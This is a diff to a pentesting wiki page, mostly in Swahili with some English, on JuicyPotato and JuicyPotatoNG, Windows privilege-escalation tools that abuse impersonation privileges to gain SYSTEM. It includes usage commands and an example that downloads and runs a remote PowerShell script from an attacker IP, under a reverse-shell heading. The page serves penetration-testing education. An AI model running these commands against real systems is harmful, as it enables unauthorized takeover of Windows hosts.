diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index d7f6bf526..ba4cb26ea 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,55 +2,60 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato haitumiki** kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) zinaweza kutumika **kuchukua faida ya ruhusa sawa na kupata `NT AUTHORITY\SYSTEM`** kiwango cha ufikiaji. _**Angalia:**_ +> [!WARNING] > JuicyPotato ni ya zama. Kwa ujumla inafanya kazi kwenye matoleo ya Windows hadi Windows 10 1803 / Windows Server 2016. Mabadiliko ya Microsoft yaliyoanza kuingia katika Windows 10 1809 / Server 2019 yalivunja mbinu asilia. Kwa matoleo hayo na mapya zaidi, fikiria mbadala za kisasa kama PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato na wengine. Tazama ukurasa hapo chini kwa chaguzi na matumizi za kisasa. {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (kukandamiza ruhusa za dhahabu) +## Juicy Potato (kudhulumu vibali vya dhahabu) -_Toleo lililo na sukari la_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, likiwa na juisi kidogo, yaani **chombo kingine cha Kukandamiza Ruhusa za Mitaa, kutoka Akaunti za Huduma za Windows hadi NT AUTHORITY\SYSTEM**_ +_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ -#### Unaweza kupakua juicypotato kutoka [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) +#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) -### Muhtasari +### Compatibility quick notes -[**Kutoka kwa juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** +- Inafanya kazi kwa kuaminika hadi Windows 10 1803 na Windows Server 2016 wakati muktadha wa sasa una SeImpersonatePrivilege au SeAssignPrimaryTokenPrivilege. +- Imevunjwa na hardening ya Microsoft katika Windows 10 1809 / Windows Server 2019 na baadaye. Tumia mbadala zilizo kwenye link hapo juu kwa matoleo hayo na mapya. -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) na [toleo lake](https://github.com/decoder-it/lonelypotato) linatumia mnyororo wa kukandamiza ruhusa kulingana na [`BITS`]() [huduma](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) ikiwa na msikilizaji wa MiTM kwenye `127.0.0.1:6666` na unapokuwa na ruhusa za `SeImpersonate` au `SeAssignPrimaryToken`. Wakati wa ukaguzi wa toleo la Windows tuligundua usanidi ambapo `BITS` ulikuwa umezimwa makusudi na bandari `6666` ilikuwa imechukuliwa. +### Summary -Tuliamua kuunda silaha [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Sema hello kwa Juicy Potato**. +[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -> Kwa nadharia, angalia [Rotten Potato - Kukandamiza Ruhusa kutoka Akaunti za Huduma hadi SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) na ufuate mnyororo wa viungo na marejeleo. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken. -Tuligundua kwamba, mbali na `BITS` kuna seva kadhaa za COM tunaweza kuzitumia. Zinahitaji tu: +We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**. -1. kuwa na uwezo wa kuanzishwa na mtumiaji wa sasa, kawaida "mtumiaji wa huduma" ambaye ana ruhusa za kuiga +> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references. + +Tuligundua kuwa, mbali na `BITS`, kuna servere kadhaa za COM tunaweza kuzitumia vibaya. Zinahitaji tu: + +1. kuzinduliwa na mtumiaji wa sasa, kawaida “service user” ambaye ana impersonation privileges 2. kutekeleza interface ya `IMarshal` -3. kukimbia kama mtumiaji aliyeinuliwa (SYSTEM, Administrator, …) +3. kukimbia kama mtumiaji mwenye viwango vya juu (SYSTEM, Administrator, …) -Baada ya majaribio kadhaa tulipata na kujaribu orodha kubwa ya [CLSID za kuvutia](http://ohpe.it/juicy-potato/CLSID/) kwenye matoleo kadhaa ya Windows. +Baada ya majaribio tulipata na kujaribu orodha ndefu ya [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) kwenye matoleo mbalimbali ya Windows. -### Maelezo ya Juicy +### Juicy details JuicyPotato inakuwezesha: -- **CLSID ya Lengo** _chagua CLSID yoyote unayotaka._ [_Hapa_](http://ohpe.it/juicy-potato/CLSID/) _unaweza kupata orodha iliyopangwa kwa OS._ -- **Bandari ya Kusikiliza ya COM** _mwelekeo wa bandari ya kusikiliza ya COM unayopendelea (badala ya 6666 iliyowekwa kwenye msimbo)_ -- **Anwani ya IP ya Kusikiliza ya COM** _fungua seva kwenye IP yoyote_ -- **Njia ya uundaji wa mchakato** _kulingana na ruhusa za mtumiaji aliyeigizwa unaweza kuchagua kutoka:_ -- `CreateProcessWithToken` (inahitaji `SeImpersonate`) -- `CreateProcessAsUser` (inahitaji `SeAssignPrimaryToken`) -- `zote` -- **Mchakato wa kuzindua** _zindua executable au script ikiwa unyakuzi unafanikiwa_ -- **Hoja za Mchakato** _binafsisha hoja za mchakato uliozinduliwa_ -- **Anwani ya Seva ya RPC** _kwa njia ya siri unaweza kujiandikisha kwa seva ya RPC ya nje_ -- **Bandari ya Seva ya RPC** _inafaa ikiwa unataka kujiandikisha kwa seva ya nje na firewall inazuia bandari `135`…_ -- **Hali ya TEST** _hasa kwa madhumuni ya majaribio, yaani, kujaribu CLSIDs. Inaunda DCOM na kuchapisha mtumiaji wa token. Angalia_ [_hapa kwa majaribio_](http://ohpe.it/juicy-potato/Test/) +- **Target CLSID** _chagua CLSID yoyote unayotaka._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _unaweza kupata orodha iliyopangwa kwa OS._ +- **COM Listening port** _taja COM listening port unayopendeleo (badala ya marshalled hardcoded 6666)_ +- **COM Listening IP address** _weke server kusikiliza kwenye IP yoyote_ +- **Process creation mode** _kutegemea vibali vya mtumiaji aliyefanyakwa impersonation unaweza kuchagua kutoka:_ +- `CreateProcessWithToken` (needs `SeImpersonate`) +- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) +- `both` +- **Process to launch** _anzisha executable au script ikiwa the exploitation itafanikiwa_ +- **Process Argument** _rekebisha vigezo vya process iliyozinduliwa_ +- **RPC Server address** _kwa njia ya kimyadariko unaweza ku-authenticate kwenye RPC server ya nje_ +- **RPC Server port** _inayofaa ikiwa unataka ku-authenticate kwenye server ya nje na firewall inazuia bandari `135`…_ +- **TEST mode** _hasa kwa madhumuni ya kujaribu, yaani kujaribu CLSIDs. Inaunda DCOM na inachapisha mtumiaji wa token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) -### Matumizi +### Usage ``` T:\>JuicyPotato.exe JuicyPotato v0.1 @@ -67,21 +72,42 @@ Optional args: -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` -### Mawazo ya Mwisho +### Final thoughts -[**Kutoka kwenye juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** +[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -Ikiwa mtumiaji ana `SeImpersonate` au `SeAssignPrimaryToken` ruhusa basi wewe ni **SYSTEM**. +Ikiwa mtumiaji ana vibali vya `SeImpersonate` au `SeAssignPrimaryToken` basi wewe ni **SYSTEM**. -Ni karibu haiwezekani kuzuia matumizi mabaya ya COM Servers hizi zote. Unaweza kufikiria kubadilisha ruhusa za vitu hivi kupitia `DCOMCNFG` lakini bahati njema, hii itakuwa changamoto. +Karibu haiwezekani kuzuia matumizi mabaya ya COM Servers zote hizi. Unaweza kufikiria kubadilisha ruhusa za vitu hivi kupitia `DCOMCNFG`, lakini bahati nzuri — hii itakuwa changamoto. -Suluhisho halisi ni kulinda akaunti nyeti na programu ambazo zinafanya kazi chini ya akaunti za `* SERVICE`. Kuzuia `DCOM` hakika kutazuia exploit hii lakini kunaweza kuwa na athari kubwa kwenye OS inayotegemea. +Suluhisho halisi ni kulinda akaunti na programu nyeti ambazo zinaendesha chini ya akaunti za `* SERVICE`. Kusimamisha `DCOM` hakika kutazuia exploit hii lakini kunaweza kuwa na athari kubwa kwa OS ya msingi. -Kutoka: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) +From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) + +## JuicyPotatoNG (2022+) + +JuicyPotatoNG inarejelea mbinu ya JuicyPotato-style ya local privilege escalation kwenye Windows ya kisasa kwa kuunganisha: +- DCOM OXID resolution kwa local RPC server kwenye port iliyochaguliwa, ikiepuka listener ya zamani iliyowekwa 127.0.0.1:6666. +- SSPI hook ya kushika na kuiga uthibitisho wa SYSTEM unaoingia bila kuhitaji RpcImpersonateClient, ambayo pia inawezesha CreateProcessAsUser wakati SeAssignPrimaryTokenPrivilege peke yake ipo. +- Mbinu za kukidhi vizingiti vya uanzishaji vya DCOM (mf., sharti la zamani la INTERACTIVE-group wakati ukilenga PrintNotify / ActiveX Installer Service classes). + +Important notes (evolving behavior across builds): +- Septemba 2022: Mbinu ya awali ilifanya kazi kwenye malengo ya Windows 10/11 na Server zilizoungwa mkono ikitumia “INTERACTIVE trick”. +- Januari 2023: Sasisho kutoka kwa waandishi: Microsoft baadaye ilizuia INTERACTIVE trick. CLSID tofauti ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) inarejesha exploitation lakini tu kwenye Windows 11 / Server 2022 kulingana na chapisho lao. + +Matumizi ya msingi (bendera zaidi ziko kwenye msaada): +``` +JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" +# Useful helpers: +# -b Bruteforce all CLSIDs (testing only; spawns many processes) +# -s Scan for a COM port not filtered by Windows Defender Firewall +# -i Interactive console (only with CreateProcessAsUser) +``` +Ikiwa unalenga Windows 10 1809 / Server 2019 ambapo JuicyPotato ya kawaida imepachikwa, pendelea mbadala zilizo kwenye sehemu ya juu (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG inaweza kuwa ya mazingira kulingana na build na hali ya huduma. ## Mifano -Kumbuka: Tembelea [ukurasa huu](https://ohpe.it/juicy-potato/CLSID/) kwa orodha ya CLSIDs za kujaribu. +Kumbuka: Tembelea [this page](https://ohpe.it/juicy-potato/CLSID/) kwa orodha ya CLSIDs za kujaribu. ### Pata nc.exe reverse shell ``` @@ -100,30 +126,29 @@ c:\Users\Public> ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### Kuanzisha CMD mpya (ikiwa una ufikiaji wa RDP) +### Anzisha CMD mpya (ikiwa una ufikiaji wa RDP) ![](<../../images/image (300).png>) ## Matatizo ya CLSID -Mara nyingi, CLSID ya kawaida ambayo JuicyPotato inatumia **haifanyi kazi** na exploit inashindwa. Kawaida, inachukua majaribio kadhaa kupata **CLSID inayofanya kazi**. Ili kupata orodha ya CLSIDs za kujaribu kwa mfumo maalum wa uendeshaji, unapaswa kutembelea ukurasa huu: +Mara nyingi, CLSID chaguo-msingi ambayo JuicyPotato inatumia **haifanyi kazi** na exploit inashindwa. Kwa kawaida, inahitaji majaribio kadhaa ili kupata **CLSID inayofanya kazi**. Ili kupata orodha ya CLSID za kujaribu kwa mfumo wa uendeshaji maalum, tembelea ukurasa huu: -{{#ref}} -https://ohpe.it/juicy-potato/CLSID/ -{{#endref}} +- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) ### **Kuangalia CLSIDs** -Kwanza, utahitaji baadhi ya executable mbali na juicypotato.exe. +Kwanza, utahitaji baadhi ya faili za programu mbali na juicypotato.exe. -Pakua [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) na uipakie kwenye kikao chako cha PS, na pakua na uendeshe [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Skripti hiyo itaunda orodha ya CLSIDs zinazowezekana za kujaribu. +Pakua [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) na uiload kwenye kikao chako cha PS, na pakua na uendeshe [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Skripti hiyo itaunda orodha ya CLSID zinazowezekana za kujaribu. -Kisha pakua [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(badilisha njia ya orodha ya CLSID na kwa executable ya juicypotato) na uendeshe. Itaanza kujaribu kila CLSID, na **wakati nambari ya bandari inabadilika, itamaanisha kuwa CLSID ilifanya kazi**. +Kisha pakua [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(badilisha njia kwa orodha ya CLSID na kwa juicypotato executable) na uiiendeshe. Itaanza kujaribu kila CLSID, na **wakati nambari ya bandari inabadilika, itamaanisha kuwa CLSID ilifanya kazi**. -**Angalia** CLSIDs zinazofanya kazi **ukitumia parameter -c** +**Angalia** CLSID zinazofanya kazi **ukitumia parameter -c** ## Marejeo - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) +- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/) {{#include ../../banners/hacktricks-training.md}}